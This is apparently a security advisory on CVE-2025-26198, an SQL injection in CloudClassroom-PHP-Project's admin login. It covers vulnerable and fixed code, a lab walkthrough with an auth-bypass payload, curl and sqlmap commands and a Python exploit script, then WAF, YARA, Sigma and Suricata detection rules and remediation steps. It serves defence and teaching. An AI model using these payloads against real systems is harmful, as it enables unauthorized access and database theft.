CVE-2025-26198

Executive Summary

CVE-2025-26198 is a critical SQL Injection vulnerability in CloudClassroom-PHP-Project v1.0, specifically within the loginlinkadmin.php component. The application fails to sanitize user-supplied input in the admin login form before directly including it in SQL queries. This allows unauthenticated attackers to inject arbitrary SQL payloads and bypass authentication, gaining unauthorized administrative access. The vulnerability is triggered when an attacker supplies specially crafted input in the username field, such as ' OR '1'='1, leading to complete compromise of the login mechanism and potential exposure of sensitive backend data. No official patch is available, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This vulnerability is not associated with any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP project. However, organizations using this software should treat it as a critical supply chain risk due to the lack of maintainer response and the absence of a patch.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any prior authentication.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full database contents can be extracted.
• Integrity (I): High – Data can be modified or deleted.
• Availability (A): High – The database can be disrupted or destroyed.

Threat Level: Critical. The vulnerability allows unauthenticated attackers to gain full administrative access and compromise the entire application and its data.

Deep Dive & Mechanics

The vulnerability resides in the loginlinkadmin.php file. The application constructs a SQL query by directly concatenating user-supplied input from the username POST parameter without any sanitization, parameterization, or escaping.

Vulnerable Code Snippet (Conceptual):

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM admin WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
    // Login successful
} else {
    // Login failed
}
?>

Exploitation Mechanics:

1. The attacker sends a POST request to loginlinkadmin.php with the username parameter set to ' OR '1'='1' -- - and any value for password.
2. The resulting SQL query becomes:

   SELECT * FROM admin WHERE username = '' OR '1'='1' -- -' AND password = 'anything'
   

3. The OR '1'='1' condition makes the WHERE clause always true, and the -- - comments out the rest of the query (the password check).
4. The query returns the first admin user, and the application grants access.

This bypasses authentication entirely, granting the attacker full administrative privileges.

Vulnerable vs. Patched Code

Vulnerable Code (loginlinkadmin.php):

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM admin WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
    // Login successful
} else {
    // Login failed
}
?>

Patched Code (Recommended):

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$stmt = $conn->prepare("SELECT * FROM admin WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
    // Login successful
} else {
    // Login failed
}
?>

The patched code uses prepared statements with parameterized queries, which completely separates SQL logic from data. User input is never concatenated directly into the query, rendering SQL injection impossible.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a local instance of CloudClassroom-PHP-Project v1.0 using XAMPP or similar.
2. Ensure the application is accessible at http://localhost/cloudclassroom/.

Exploitation Steps:

1. Manual Exploitation (cURL):

   curl -X POST http://localhost/cloudclassroom/loginlinkadmin.php \
     -d "username=' OR '1'='1' -- -&password=anything"
   

   This will log you in as the first admin user.

2. Automated Exploitation (SQLMap):

   sqlmap -u "http://localhost/cloudclassroom/loginlinkadmin.php" \
     --data="username=admin&password=test" \
     --level=5 --risk=3 --batch --dump
   

   SQLMap will automatically detect the injection point and dump the entire database.

3. Python Exploit Script:

   import requests
   
   url = "http://localhost/cloudclassroom/loginlinkadmin.php"
   payload = {"username": "' OR '1'='1' -- -", "password": "anything"}
   response = requests.post(url, data=payload)
   
   if "Login successful" in response.text:
       print("[+] Authentication bypassed! Admin access granted.")
   else:
       print("[-] Exploit failed.")
   

Blue Team (Defensive)

Detection & Prevention:

1. Web Application Firewall (WAF) Rules:

   • Block requests containing SQL injection patterns in POST parameters.
   • Example ModSecurity rule:

     SecRule ARGS "@rx ((\%27)|(\'))\s*((\%4F)|o|(\%6F))((\%52)|r|(\%72))" \
       "id:1000,phase:2,deny,status:403,msg:'SQL Injection Attempt'"
     

2. Input Validation:

   • Implement strict whitelisting for username fields (e.g., only alphanumeric characters).
   • Reject any input containing single quotes ('), double quotes ("), or SQL keywords.

3. Code Review:

   • Immediately replace all dynamic SQL queries with prepared statements or stored procedures.
   • Use an ORM (Object-Relational Mapping) library to abstract database interactions.

4. Monitoring:

   • Monitor logs for repeated failed login attempts followed by a successful login with unusual payloads.
   • Alert on SQL error messages in HTTP responses.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /loginlinkadmin.php with username parameter containing SQL keywords (OR, AND, UNION, SELECT, --, #).
• HTTP responses containing SQL error messages (e.g., You have an error in your SQL syntax).
• Unusually high number of login attempts from a single IP address.

File System IOCs:

• Modified or newly created files in the web root (e.g., webshells like cmd.php).
• Suspicious entries in web server access logs (e.g., ' OR '1'='1' in the request URI or POST data).

Database IOCs:

• Unexpected admin user accounts.
• Modified user roles or permissions.
• Unusual queries in database logs (e.g., UNION SELECT statements).

Detection Engineering

YARA Rule

rule CVE_2025_26198_SQLi_LoginBypass {
    meta:
        description = "Detects SQL injection attempts targeting CloudClassroom loginlinkadmin.php"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-26198"
    strings:
        $s1 = "loginlinkadmin.php"
        $s2 = "username="
        $s3 = "' OR '" nocase
        $s4 = "' OR 1=1" nocase
        $s5 = "'--" nocase
        $s6 = "admin" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2025-26198 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CloudClassroom loginlinkadmin.php
author: Valters IT
date: 2025/04/10
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2025.26198
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/loginlinkadmin.php'
        cs-uri-query|contains: 
            - "' OR '"
            - "' OR 1=1"
            - "'--"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in usernames (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-26198 - CloudClassroom SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/loginlinkadmin.php"; http_uri;
    content:"username="; http_client_body;
    pcre:"/(\x27|%27).*OR.*(\x27|%27)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:cve,2025-26198;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Application: If possible, take the CloudClassroom application offline until a fix is applied.
2. Apply Virtual Patching: Use a WAF to block SQL injection patterns targeting loginlinkadmin.php.
3. Restrict Network Access: Limit access to the admin login page to trusted IP addresses only.

Long-Term Fixes:

1. Rewrite the Login Logic: Replace all dynamic SQL queries with prepared statements or parameterized queries.
2. Implement Strong Authentication: Use password hashing (bcrypt) and multi-factor authentication (MFA).
3. Conduct Security Audit: Perform a full code review and penetration test of the entire application.
4. Monitor for Updates: Since the vendor is unresponsive, consider forking the project and applying the fix yourself, or migrating to an alternative solution.

Workaround (If Patching is Not Possible):

• Disable the loginlinkadmin.php endpoint and implement a custom, secure login page.
• Use a reverse proxy with request filtering to block malicious payloads.

Valters IT